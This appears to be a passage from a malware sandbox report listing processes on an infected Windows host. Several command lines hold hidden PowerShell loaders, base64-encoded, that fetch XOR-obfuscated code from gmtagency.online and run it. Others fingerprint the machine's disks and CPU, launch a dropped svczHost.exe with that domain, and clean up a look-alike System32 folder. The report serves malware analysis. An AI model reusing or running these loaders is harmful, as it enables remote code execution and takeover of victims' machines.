Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:00:44
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:00:47
Start date:	14/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"
Imagebase:	0x7ff763d60000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:00:47
Start date:	14/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCB.tmp" "c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP"
Imagebase:	0x7ff6dd680000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:00:56
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:00:56
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:01:01
Start date:	14/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx" /o ""
Imagebase:	0xb30000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	19:01:01
Start date:	14/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
Imagebase:	0x7ff6b2830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:01:01
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:01:01
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:01:01
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	19:01:03
Start date:	14/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	19:01:09
Start date:	14/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	19:01:40
Start date:	14/11/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi1 gmtagency.online
Imagebase:	0x7ff7c1070000
File size:	8'351'232 bytes
MD5 hash:	EB57894A8FF610DF55C97E427D0DDD7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	19:01:40
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	19:01:40
Start date:	14/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff6b2830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:01:41
Start date:	14/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6b2830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:01:41
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:01:41
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:01:41
Start date:	14/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7805f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:01:42
Start date:	14/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	19:01:42
Start date:	14/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
